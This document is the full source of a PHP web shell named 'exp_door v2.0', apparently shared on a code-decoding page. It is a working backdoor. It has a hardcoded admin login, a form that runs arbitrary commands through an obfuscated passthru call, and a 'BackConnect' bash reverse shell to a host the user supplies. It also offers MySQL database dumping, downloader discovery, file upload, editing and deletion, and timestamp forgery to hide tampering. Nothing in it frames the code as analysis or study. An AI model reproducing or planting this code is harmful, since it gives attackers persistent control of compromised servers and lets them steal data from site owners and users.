echo "<tr tabindex='0' class='note'><td class='cbox'>" . "<input type='checkbox' name='choose[]' value='$file'>" . "</td>" . "<td class='col'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACX0lEQVR42mNkoBAwDh4DyjyEpBkZGTg7t7+7g6wg1V6AzVCBy4aDm503adr9jRgGlHoIyMRluKyT1VY0YWRmYji7/dSc84evzVJWETGS05L3FFWUcBaVE+P98/Pn/56y5TYNa14cQzFgXoF0Z1RlShkj2DH/gegfEP0F8v6B2Qz//8Lx3hXHJqzbcK1YXZJVV0qMXXvXhR8rGEPNueIWLotZyMwlgqKY4R8y+w/DxxdvGN48ev6Bg1/okZiyLMd/Fp5v3YWLYxml+RmFj6y0ey6lbcgKU4ww4A+Y/+zmAwYeUUEGHkmV//8ZWa4wM/3/dWXPuZPGCfuzwYG4rFbyZHCitxnMgH+/fzG8e/aW4ceXd0BPMTOIKskzcPAKAw38zfDn178H//78eb+0a1dCxqJXl8AGlPuzdNe3+ZYwMzExfP/0leHJnbsM0poaDJx8wsCwAIbLv99w/Ofn77ePb7w+oBF5KgQejV66zMFLphut4eYVYLh1/iaDipk5AxMTI1TTLwZGFAN+/Tyx61mpU/2TyXAD1ESYFPbMlbv//y8HA7cwNwOfEDBA//5GsRmG//35/X/apBcORWu+HIIbIMrNyLS5U+gtHzezgIquEjTwYJr+QAMWQj96+OtLQMU7+SvP/71DSYmz0tlO+3oLmwgL80E0/ofExr+/fxjevfn9/+y13/cPX/x1eOep33MuPv13BCMpt4WzrCpMFw1lAgbax/e//1+88fvpkUu/jhy59HvfhYf/Dnz++f/+r78Mf3DmBSMZJrMgW7bCk9f+HD13/+/+N1//3/yJRQM6AAA6UD7VkPGJ1gAAAABJRU5ErkJggg==' /> <a href='" . $_SERVER['PHP_SELF'] . "?path=$file'>$fName</a></td>" . "<td>" . "<input style='border: 1px solid #cccccc;' name='del' value='D' type='submit' title='Delete'>" . "<input style='border: 1px solid #cccccc;' name='ren' value='R' type='submit' title='Rename'>" . "<input style='border: 1px solid #cccccc;' name='tou' value='T' type='submit' title='Touch'>" . "<input style='border: 1px solid #cccccc;padding: 0 7px;' name='up' value='U' type='submit' title='Upload'>" . "</td>" . "<td>" . "[" . numPerms($file) . "] " . printPerms($file) . "<td>" . $userinfo . "</td>" . "<td>" . date('d-m-Y H:i:s', filemtime($file)) . "</td>" . "<td>DIR</td></tr>";
}
}
}
echo "</table></form></div></div>";
}
echo showContent($actpath);
function removeDirectory($dir) {
if ($objs = glob($dir . "/*")) {
foreach ($objs as $obj) {
is_dir($obj) ? removeDirectory($obj) : unlink($obj);
}
}
return rmdir($dir);
}
$modal = '
<div id="openModal" class="modalbackground">
<div class="modalwindow">
<p>text</p>
<a href="">Close</a>
</div>
</div>';
if (isset($_POST['del'])) {
if (!empty($_POST['choose'])) {
foreach ($_POST['choose'] as $value) {
if (is_link($value)) {
if (unlink($value)) {
echo str_replace("text", '<p class="pm">' . "The link was successfully deleted!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! The link was not deleted!" . '</p>', $modal);
}
} elseif (is_file($value)) {
if (unlink($value)) {
echo str_replace("text", '<p class="pm">' . "The file was successfully deleted!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! The file was not deleted!" . '</p>', $modal);
}
} elseif (is_dir($value)) {
if (removeDirectory($value)) {
echo str_replace("text", '<p class="pm">' . "Directory deleted!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! The directory was not deleted!" . '</p>', $modal);
}
}
}
}
}
if (isset($_POST['edit'])) {
if (!empty($_POST['choose'])) {
$val = $_POST['choose'][0];
if (is_readable($val)) {
$formedit = "
<div id='openModal' class='modalbackground'><div class='modalwindow2'><form style='width: 96%;height: 85%;margin: 0 auto;' method='post'>
<textarea style='resize: none;width: 98%;height: 98%;' name='edit_code'>" . htmlspecialchars(file_get_contents($val)) . "</textarea><input type='hidden' name='correction' value='" . $_POST['choose'][0] . "'><input style='float:left;margin-left: 1%;margin-top: 8px;' type='submit' value='Apply the changes'></form><a href=''>Close</a></div></div>";
echo $formedit;
} else {
echo str_replace("text", '<p class="pm">' . "Error! Can't open file!" . '</p>', $modal);
}
}
}
if (isset($_POST['edit_code'])) {
$result = file_put_contents($_POST['correction'], $_POST['edit_code']);
if ($result === FALSE) {
echo str_replace("text", '<p class="pm">' . "Error writing to file!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "The file was successfully modified!" . '</p>', $modal);
}
}
if (isset($_POST['view'])) {
if (is_readable($_POST['view'])) {
$doc = fopen($_POST['view'], "rt");
$contents = '';
while (!feof($doc)) $contents.= fread($doc, 4096);
fclose($doc);
if (filesize($_POST['view']) == 0) {
echo str_replace("text", '<p class="pm">' . "The file is empty!" . '</p>', $modal);
} elseif ($contents) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow2">' . "<div class='area'>";
highlight_string($contents);
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
} else {
echo str_replace("text", '<p class="pm">' . "Error! Can't open file!" . '</p>', $modal);
}
}
if (isset($_POST['up']) && !empty($_POST['choose'])) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow">' . "<div style='width: auto;' class='area'>";
echo '<p style="margin-left:5px;text-align: left;">' . "upload_max_filesize: " . ini_get("upload_max_filesize") . "<br>" . "post_max_size: " . ini_get("post_max_size") . '</p>';
echo '
<pre>
<form method="POST" enctype="multipart/form-data">
<label><b class="bt">Uploader:</b></label>
<input type="file" name="filename" ><br/>
<input type="hidden" name="up_file" value="' . $_POST['choose'][0] . '">
<input type="submit" value="Upload">
</form>
<pre>';
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
if ($_FILES['filename']['error'] == UPLOAD_ERR_OK) {
$name = $_POST['up_file'] . '/' . $_FILES['filename']['name'];
if (move_uploaded_file($_FILES['filename']['tmp_name'], $name)) {
$text = '<p class="pm">' . "The file was uploaded successfully!" . '</p>';
$newphrase = str_replace("text", $text, $modal);
echo $newphrase;
}
} else {
echo str_replace("text", '<p class="pm">' . "Error! The file is not selected!" . '</p>', $modal);
}
if (isset($_POST['tou']) && !empty($_POST['choose'])) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow">' . "<div style='width: auto;' class='area'>";
echo "
<form method='post'>
<textarea style='resize: none;' name='code'>" . date('d-m-Y H:i:s', filemtime($_POST['choose'][0])) . "</textarea>
<input type='hidden' name='date_file' value='" . $_POST['choose'][0] . "'><br/>
<input type='submit' value='Touch'>
</form>";
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
if (isset($_POST['code'])) {
if (touch($_POST['date_file'], strtotime($_POST['code']))) {
$text = '<p class="pm">' . "Modification date changed!" . '</p>';
$newphrase = str_replace("text", $text, $modal);
echo $newphrase;
} else {
echo str_replace("text", '<p class="pm">' . "Error! You couldn't change the date!" . '</p>', $modal);
}
}
if (isset($_POST['ren']) && !empty($_POST['choose'])) {
echo '<div id="openModal" class="modalbackground">' . '<div class="modalwindow">' . "<div style='width: auto;' class='area'>";
echo "
<form method='post'>
<textarea style='resize: none;' name='r_code'>" . $_POST['choose'][0] . "</textarea>
<input type='hidden' name='ren_file' value='" . $_POST['choose'][0] . "'><br/>
<input type='submit' value='Rename'>
</form>";
echo "</div>" . '<a href="">Close</a>' . "</div>" . "</div>";
}
if (isset($_POST['r_code'])) {
if (rename($_POST['ren_file'], $_POST['r_code'])) {
echo str_replace("text", '<p class="pm">' . "Renaming completed!" . '</p>', $modal);
} else {
echo str_replace("text", '<p class="pm">' . "Error! Not renamed!" . '</p>', $modal);
}
}
echo '</div></div>';
} else echo showForm();
?>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
if (isset($_POST['load']) && !empty($_POST['choose'])) {
$file = $_POST['choose'][0];
if (is_readable($file)) {
if (file_exists($file)) {
if (ob_get_level()) {
ob_end_clean();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
}
function showForm() {
$string = "<form action='" . $_SERVER["SCRIPT_NAME"] . "' method='post'>";
$string.= "<label>Login:</label>" . '<br>';
$string.= "<input type='text' name='login'>" . '<br>';
$string.= "<label>Passwd: </label>" . '<br>';
$string.= "<input type='password' name='pass'>" . '<br>' . '<br>';
$string.= "<input type='submit' name='log' value='Sign up'>";
$string.= "</form>";
return $string;
}
function check($login, $pass) {
if (($login == "admin") && ($pass == "664908cc9fc402a58a45e7f69e38724f")) return true; //testpass
else return false;
}
if (isset($_POST['log'])) {
$login = $_POST['login'];
$pass = md5($_POST['pass']);
if (check($login, $pass)) {
setcookie("login", $login);
setcookie("pass", $pass);
header("Refresh:0"); // header("Location: http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
} else echo "Access denied!";
}
if (isset($_POST['exit'])) {
setcookie("login", $login, time() - 3600, '/');
setcookie("pass", $pass, time() - 3600, '/');
header("Refresh:0");
}
?>
<!DOCTYPE html>
<html>
<head>
<title>exp_door v2.0</title>
<link href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAOKAAADigGnjPUfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAg9JREFUeNrEV4GRgyAQjJkUQAl+BW8JlGAJfgeWQAmW4HdgCZRgCSmBDnhufsnfXBDBOB9nbhI54Ja95cDGe39553Mt6dQ0TUv2NgDhoeDdBrjuPwC4YHrDN70CoCnVQFgpgWhDfyfaaYKP0H4/AuAmJusF1RRsRlBLFvpoAeIL7YZ+q4EQA2CBghtmNBE51mAKKfARFNiIY8m3wE/jhujbs7zzNxD9GfFu8B6N8q9Y/xZMeTD3MgAVWWBtgwCxchDoE0FMLwEQk/GVdgicBAF/9LW5+a8JtQ/BxmAKTRa/mumGGKEg32j6FNtRiRqyL0Kx6iXSzsQ37zBE1qGNs6OrU4Ad4RFcscnGRF+uiVkI1Ul9lAKIkw6JFd35qhhDMSAXqDkkQraKUTDiBZBJpECaOgrAyvwhmK+w9XAdYJTrDWZKzRwVoecaED7NynSpxfKtahlIVTldwIRDyjT0MzPdqBIAs5jQJhS+mfvkSv92li0B0FYElDtDZcq6eRJ3pnO3k+s10dZvpGsUh5upOYy0MCVOywjEJcY9FSX0f6ThVnBhsRmfC4fWgsNoFe5RvGt2y6q+lJ7xxKtax07Yy6X06rSTor0UOATupVbOAKDYjhkSu+mhG6TpXnUjKgRh+Ep3akt/OgBRPR2KjoL1zDdU3wkrUzFlClSfGtec/XWMj1jN7oI2t5Wbd3+e/wgwAGD4W8SG5D6lAAAAAElFTkSuQmCC" rel="icon" type="image/png" />
<meta charset="utf-8">
<style type="text/css">
html{background: #F1F3F5;}
body{margin: 0;background: #F1F3F5;}
pre {margin: 0;}
img{vertical-align: middle;}
.ya{width: 178px!important;box-shadow: none;border-collapse: separate;}
.col{width: 0;white-space: nowrap;padding-right: 50px;}
.all{font-family: Arial, Helvetica, sans-serif;font-weight:bold; font-size : 12px;}
a, a:visited{color: #1d5405;text-decoration:none;}
#main {margin: auto;background: #F1F3F5;min-height: 100vh;}
#tab{background: #E9ECEF;padding-left:1px;border: 1px solid #cccccc;margin: 5px}
#result{background: #E9ECEF;padding:5px;border: 1px solid #cccccc;margin: 5px;min-height: 68vh;}
#firsttab{width:100%;border-collapse:collapse;}
.hat{padding-right:5px;padding-left:5px;font-weight: normal;}
.block-hide {margin: 0 auto;padding:5px;}
.to-be-changed{position: absolute;z-index:10;width: calc(100% - 10px);background: #F1F3F5;}
.to-be-changed:target{display: none;}
.open{display: block;font-weight: 400;margin: 0 5px 5px 5px;position: absolute;z-index:1;width: calc(100% - 20px);}
.hat form{color: red;font-size:16px;text-align: center;width: 200px;left: calc(50% - 100px);top: 2%;position: absolute;}
.openf{border: none;background: #E9ECEF00;cursor: pointer}
.demos{
margin-left: 5px;
padding: 4px;
text-align: center;
background: #0d0d0d1a;
border: 1px solid #cccccc;
font-weight: bold;
width: 64px;
border-radius: 3px;
}
.demolink{background-color: #f8f4f400!important;color: #1d5405!important;}
.cbox{width:18px}
table.to td {
overflow:hidden;
}
table.to td:nth-of-type(1) {
width:auto;
}
table.to td:nth-of-type(2) {
width:50px;
}
table.to td:nth-of-type(3) {
width:auto;
}
tr.note:hover {background: #f5f5f5;}
tr.note:focus {background-color: #8FBC8F;outline: 1px solid grey;}
.modalbackground {
margin: 0; /* */
padding: 0; /* */
position: fixed; /* */
top:0; /* */
bottom:0;
left:0;
right:0;
background: rgba(0,0,0,0.5); /* */
z-index:100; /* */
opacity:0; /* */
pointer-events: none; /* */
}
/* - */
.modalbackground:target {
opacity: 1; /* */
pointer-events: auto; /* */
text-align: center
}
/* */
.modalwindow {
display: inline-block;
margin: 10% auto;
padding: 1%;
background: #fff;
border-radius: 3px;
font-size: 16px;
}
.modalwindow2 {
display: inline-block;
margin: 2% auto;
padding: 1%;
background: #fff;
border-radius: 3px;
font-size: 16px;
height: 80%;
width: 90%;
}
/* */
.modalwindow p {
padding: 0;
margin: 4% 0 8% 0;
text-align: center;
}
.modalwindow2 p {
padding: 0;
margin: 4% 0 4% 0;
text-align: center;
}
/* */
.modalwindow a {
display: block;
color: #fff;
background: #369;
padding: 1%;
margin: 0 auto;
width: 50%;
border-radius: 3px;
text-align: center;
text-decoration: none;
}
.modalwindow2 a {
display: block;
color: #fff;
background: #369;
padding: 6px;
margin: 0 auto;
width: 120px;
border-radius: 3px;
text-align: center;
text-decoration: none;
}
/* */
.modalwindow a:hover {
background: #47a;
}
#inner1{float:right;}
#inner2{float:right;clear: right;}
hr {border:1px !important;height: 1px;background-color:#ccc;width: 100% !important;}
.hide{font-size: 14px; margin-right: 20px;background-color:#F1F3F5!important;color: #1d5405!important;margin-left: 1px;font-weight: bold;text-decoration: underline!important;}
.new{font-size: 14px;font-weight: 400;width: 100%;}
.center{font-size: 16px;font-weight: 400;}
.error{text-align:center;font-size:24px;color:red;display:block;margin:0 auto;}
.a_size{font-size:18px;}
td:not(:first-child){padding-left: 8px;} /* nth-child(n+2)*/
.area{width: 96%;height: 85%;border: 1px solid #cccccc;margin: 10px auto;overflow-y: auto;word-wrap: break-word;text-align: left;font-weight: normal;font-size: 12px}
.bt{color:#008800;}
.pm{font-weight: 700;font-size: 14px;color:red}
</style>
</head>
<body>
<?php
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(0);
function printPerms($file) {
$mode = fileperms($file);
if ($mode & 0x1000) {
$type = 'p';
} else if ($mode & 0x2000) {
$type = 'c';
} else if ($mode & 0x4000) {
$type = 'd';
} else if ($mode & 0x6000) {
$type = 'b';
} else if ($mode & 0x8000) {
$type = '-';
} else if ($mode & 0xA000) {
$type = 'l';
} else if ($mode & 0xC000) {
$type = 's';
} else $type = 'u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if ($mode & 0x800) $owner["execute"] = ($owner['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x400) $group["execute"] = ($group['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x200) $world["execute"] = ($world['execute'] == 'x') ? 't' : 'T';
$s = sprintf("%1s", $type);
$s.= sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.= sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.= sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
if (strpos($s, '---', -3)) {
return '<font color="#FF0000"><b>' . $s . '</b></font>';
} elseif (strpos($s, 'rw', -3)) {
return '<font color="#008000"><b>' . $s . '</b></font>';
} else {
return '<font color="#000000"><b>' . $s . '</b></font>';
}
}
function numPerms($file) {
$numperm = substr(sprintf('%o', fileperms($file)), -4);
if ((int)(substr($numperm, 0, 1)) > 1) {
return '<font color="#FF8C00"><b>' . $numperm . '</b></font>';
} else {
return '<font color="#000000"><b>' . $numperm . '</b></font>';
}
}
$home = '
<div class="all" id="main">
<div class="block-hide">
<div class="hat">
<div>
<div id="inner1"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAYAAACOEfKtAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAACKySURBVHja7J1psKR3dd5/777022+vt+9+586dVTMajUYaSSOBVAgkBMYYUlSwscEpnNiFE6iQ2E5sV1J2JSZePoQPdsxSGBvHQJANAWNjC6MFJCSEkNCMZubOzJ3t3rlr39773dd8aDHlDQcJMALmfOyu6v73U+ec/znPec7bQp7nXLMXb+I1CL49k19qB2r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++rCVz73sX913RQoUoqTpDiCQeQnyKJImgU43pBYKJAnBnF3iN2/tJ/Vv77zGoDAgw8++I5ms0mtNlLTB0FAGI62j76hvqpUTDY2Nq4quwaDAUsnTtz3Qw/g4PQjR/7qA7/1Szt1H9EsMYzB8TNSNAKpgUuJbiQh2Q00fYzNrSElRWfl7AVaiw+8Mz35oXf80AIYrj7XePe73/1Mvz+gUrEBnn/KR4Rt26OVhed3T3q9HocPH76qL9R1iXPnzpUeeuihn8t6zzV+6AD8v3/8wXcePHjD1okTJ7ArRRRJZXl5C78XMW1kNOQWEiq9XspwIDIc5KhKBnFAHKXYRpG4vUb7mb848qn/8ZYtLnzizT/wvfClS5ekxcXFux564HP/4c/v/+jrq9USc+NV6gWZsN+lUChgiAK1WkAYRui6zvp6lyiELO8zHA5pt3O0fMhYpUq9Xmdra5swWec33/OeT9zyxs7M/K4bHth98HszXP+uP8X3zIVlazgcNrqd9oSYxWkWurWpRm15Y3314HNPPf6JJx58kILoYuVb9HoB07uOst3r0Oq20XSJuSmbra0t+n2fer3Eq+44QKvV4sp6m0QssOnmlBvz0R0vu/vDN9965/++/o57H/+B8sD9u3Y4gAP8nRlu94FP7+h2u0/u27evOj9u9utaf2xxcXGHXp5YftNPvPlPhp5T6/Vbc/328g379u1T+/1BY3V1ldXVVQqFAqZpctOxVzyp1mZPGaXJM5NT81+XNc35gfPAbxral1eknfNzKd/nJlz7M4IfADrrGoA/xPb/BgD5k2R5kCuEewAAAABJRU5ErkJggg==" /></div>
<div id="inner2"><p style="float:right;margin-block-end:3px;font-size:10px">exp_door v2.0</p></div>
</div>';
echo $home;
if (isset($_POST['submitBtn'])) {
$actpath = isset($_POST['path']) ? $_POST['path'] : __DIR__;
chdir($actpath);
} else {
$actpath = isset($_GET['path']) ? $_GET['path'] : __DIR__;
chdir($actpath);
}
$login = $_COOKIE['login'];
$pass = $_COOKIE['pass'];
if (check($login, $pass)) {
$a1 = 'pas' . 'sth' . 'ru';
$cwd = $_GET['path'];
if (empty($cwd)) {
$cwd = getcwd();
}
$uname = php_uname();
$php = phpversion();
$temp_file = sys_get_temp_dir();
$df = disk_free_space("/");
$dt = disk_total_space("/");
$freeSpace = $df / 1048576;
$freeUnit = 'Mb';
if ($freeSpace >= 1024) {
$freeSpace/= 1024;
$freeUnit = 'Gb';
}
$totalSpace = $dt / 1048576;
$totalUnit = 'Mb';
if ($totalSpace >= 1024) {
$totalSpace/= 1024;
$totalUnit = 'Gb';
}
$freePer = round($df / $dt * 100.0, 2);
if ($freePer > 100) $freePer = 100;
echo '<pre>';
echo 'id | ';
echo $a1("id");
echo 'uname | ' . $uname . '<br>';
echo 'tmp | ' . $temp_file . ' ' . substr(sprintf('%o', fileperms($temp_file)), -4) . '<br>';
echo 'php | ' . $php . '<br>';
echo 'server| ' . $_SERVER['SERVER_NAME'] . ' ' . $_SERVER["SERVER_ADDR"] . ' ' . $_SERVER['SERVER_SOFTWARE'] . '<br>';
echo 'client| ' . $_SERVER["REMOTE_ADDR"] . ' ' . $_SERVER[HTTP_ACCEPT_LANGUAGE] . '<br>';
echo 'date | ' . date("Y-m-d-H:i:s e P") . ' GMT' . '<br>';
echo 'HDD | ' . "Total: " . round($totalSpace, 2) . " " . $totalUnit . " ";
echo "Free: " . round($freeSpace, 2) . " " . $freeUnit . "(" . $freePer . "%)" . '<br>';
echo 'cwd | ' . $cwd . ' ' . "[" . numPerms($actpath) . "] " . printPerms($actpath) . '<hr>';
echo '</pre>';
echo '</div>';
function showContent($path) {
if ($handle = opendir($path)) {
$up = substr($path, 0, (strrpos(dirname($path . "/."), "/")));
if ($up == NULL) {
$up = "/";
}
$HTML = '
<div class="new">
<label class="demos" style="display:inline-block"><a class="demolink" href="#tools">Tools</a></label> </td>
<form style="display:inline;float:right" method="POST">
<input style="margin-right: 5px;" type="submit" name="exit" value="EXIT"/>
</form>
</div>
<div class="open">
<div>
<hr>
<form action="" style="display:inline" method="POST">
<a class="hide" href="">Hide tools</a>
<input type="submit" name="info" value="phpinfo"/>
<input type="submit" name="down" value="downloaders"/>
<input type="submit" name="fun" value="functions"/>
</form>
<form style="display:inline" method="POST">
<input type="text" name="cmd" placeholder="CMD">
</form>
<hr>
<div style="float:left;margin-right:12px;">
<form method="POST">
<input style="width:178px" type="text" name="name" placeholder="DB name" required><br/>
<input style="width:178px" type="text" name="user" placeholder="DB user" required><br/>
<input style="width:178px" type="password" name="pass" placeholder="DB pass" required><br/>
<input style="width:178px" type="text" name="host" placeholder="MySQL host" required><br/>
<input style="width:178px" type="text" name="port" placeholder="Port"><br/>
<button style="width:196px" type="submit" name="DB">Save DB to file.sql</button><br/><br/><br/>
</form>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">Base64 encode/decode:</b></label>
<input style="width:178px" type="text" name="base64">
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="submit" value="Encode"></td>
<td style="padding: 0;border: none"><input style="margin-right: 8px;width: 96px;" type="submit" name="submit2" value="Decode"></td>
</tr>
</table>
</form>
</pre>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">URL encode/decode:</b></label>
<input style="width:178px" type="text" name="url">
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="submit_u" value="Encode"></td>
<td style="padding: 0;border: none"><input style="margin-right: 8px;width: 96px;" type="submit" name="submit_u2" value="Decode"></td>
</tr>
</table>
</form>
</pre>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">HEX encode/decode:</b></label>
<input style="width:178px" type="text" name="hex">
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="submit_hex" value="Encode"></td>
<td style="padding: 0;border: none"><input style="margin-right: 8px;width: 96px;" type="submit" name="submit_hex2" value="Decode"></td>
</tr>
</table>
</form>
</pre>
</div>
<div style="float: left;display:block;width:208px">
<pre>
<form method="POST">
<label><b class="bt">BackConnect:</b></label>
<input style="width:178px" type="text" name="host_" placeholder="Enter host|port" required>
<table class="ya">
<tr>
<td style="padding: 0;border: none"><input style="margin-left: -1px;width: 96px;" type="submit" name="reverse" value="Reverse"></td>
</tr>
</table>
</form>
</pre>
</div>
<hr style="clear:both">
</div>';
echo $HTML;
$a1 = 'pas' . 'sth' . 'ru';
$b2 = 'ex' . 'ec';
$down = "which get;which wget;which lynx;which curl;which fetch;which links;";
$aTwo = "ba" . "se" . "6" . "4" . "_" . "en" . "co" . "de";
$bTwo = "ba" . "se" . "6" . "4" . "_" . "de" . "co" . "de";
$fun = $bTwo("cGhwIC1yICdwcmludF9yKGdldF9kZWZpbmVkX2Z1bmN0aW9ucygpKTsnIHwgZ3JlcCAtRSAnIChzeXN0ZW18ZXhlY3xzaGVsbF9leGVjfHBhc3N0aHJ1fHByb2Nfb3Blbnxwb3BlbnxjdXJsX2V4ZWN8Y3VybF9tdWx0aV9leGVjfHBhcnNlX2luaV9maWxlfHNob3dfc291cmNlKSc");
if (isset($_POST['cmd'])) {
echo '<pre>';
$a1($_POST['cmd']);
echo '</pre>';
}
if (isset($_POST['info'])) {
echo phpinfo();
}
if (isset($_POST['down'])) {
echo '<textarea cols=37 rows=7 style="padding: 5px;resize: none;">';
$a1($down);
echo '</textarea>';
}
if (isset($_POST['fun'])) {
echo '<pre>';
$a1($fun);
echo '</pre>';
}
if (isset($_POST['DB'])) {
$host = $_POST['host'];
$user = $_POST['user'];
$pass = $_POST['pass'];
$name = $_POST['name'];
$port = $_POST['port'];
$link = new mysqli($host, $user, $pass, $name, $port);
if ($link->connect_error) {
die("<b class='pm'>Database access is not available:</b><br>" . $link->connect_error);
exit();
} else {
$b2('mysqldump --port=' . $port . ' --user=' . $user . ' --password=' . $pass . ' --host=' . $host . ' ' . $name . ' > file.sql');
echo '<b class="bt" style="font-size: 14px">Dump completed!</b>';
}
}
if (isset($_POST['submit'])) {
$base64 = $_POST['base64'];
$encode = $aTwo($base64);
echo '<p class="pm">' . "Encode base64: " . '</p>' . $encode;
}
if (isset($_POST['submit2'])) {
$base64_d = $_POST['base64'];
$decode = $bTwo($base64_d);
echo '<p class="pm">' . "Decode base64: " . '</p>' . htmlentities($decode);
}
if (isset($_POST['submit_u'])) {
$url = $_POST['url'];
$encode_u = urlencode($url);
echo '<p class="pm">' . "Encode url: " . '</p>' . $encode_u;
}
if (isset($_POST['submit_u2'])) {
$url_d = $_POST['url'];
$decode_u = urldecode($url_d);
echo '<p class="pm">' . "Decode url: " . '</p>' . htmlentities($decode_u);
}
if (isset($_POST['submit_hex'])) {
$h = $_POST['hex'];
$encode_hex = "0x" . bin2hex($h);
echo '<p class="pm">' . "Encode HEX: " . '</p>' . $encode_hex;
}
if (isset($_POST['submit_hex2'])) {
$h2 = $_POST['hex'];
$decode_hex = hex2bin(substr($h2, 2));
echo '<p class="pm">' . "Decode HEX: " . '</p>' . htmlentities($decode_hex);
}
if (isset($_POST['reverse'])) {
$back = explode("|", $_POST['host_']);
$a1("bash -c 'bash -i &> /dev/tcp/$back[0]/$back[1] 0>&1'");
}
$HTML2 = '</div>
<div id="tools" class="to-be-changed">
<form class="all" id ="tab" action="' . $_SERVER['PHP_SELF'] . '" method="post" name="path">
<table class="to">
<tr>
<td><a href="' . $_SERVER['PHP_SELF'] . '?path=' . __DIR__ . '"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAAAKjSURBVHja7JfPaxNREMe/s/uiSUOaRVopJZ701rOgPbVQK1g8eSmIf4GgBQ96UdCC6E3Bg39Bi/UmeGnVeohpUQSRiqCeREOREtIkbZLu7hsP26Qv6b7NJo3kYAfmsPtedj4zb368EDOjl2Kgx3II0HMAoT5k01dGE7HqS5auFfQjBvKOjE4NnJnLdGJUTfwGAFnNTeywbakbNFVigYoTADJdjYBtlykaMSGlBLPcA5PS5/COjG+sXKLamh8oEXlbDQNghmGKzReL358CqPgCMEtISXBdB67r6o17uGPVcnGsZZIZXpoJIWCaAlPjKQB4pAFguK6D2KlbSKQm6x4cVKSUKP5aRPnHA5C9ldRWQS2M3TRei0L/ifOQUsJxbH0O5PIl9A3Fwb+fwFVC32m7Vp0gIoAYm4UyhnUAIyfjiMdMIPc8ZD05TRaFfg8JpAYJtkX6CBwVVQB94Q02Gw5aZwcggYgIAAj8iGrIz1PVkC467ABoBaDznESjAljKZEEETJxVTlVWgp0IakShPN/V1c953H68BgBIJi2cHun3DBtRDyJkjoQfRorxj1+3ceN+BqYBmAYwM5vGp28V/dF0cxq+Xyvg2t23MAw06NU7b/DhS+HfAixlspiZTYMIMJqUCLh+L41XK9nWyawDaNX9zo0OK92tUWvSkJBqEqsaGIEQ51jjXJ6fxvL8dMO7A41j33puApMMGAyoQ1JKgNlba8eRfQBev97rWvobDeC4ANgb2Y7bRhSb1sS+2V0rN00EVhcu7D6b9Xp/9+xiHaYVfCAAKOJvXP2wrtWGnhmsB9jYSpYGkuR5xwIdi18EyARIoFjaLiXU1+qsTw1Fj12eTNw8PmhZLFtdydq/lKz/yecXXpce/lzfyfkCHP4z+i8B/g4A/9UanjCKwiYAAAAASUVORK5CYII=" title="Home"/></a></td>
' . "<td class='col'>▲ <a href='" . $_SERVER['PHP_SELF'] . "?path=$up'>Up one level</a></td>" . '
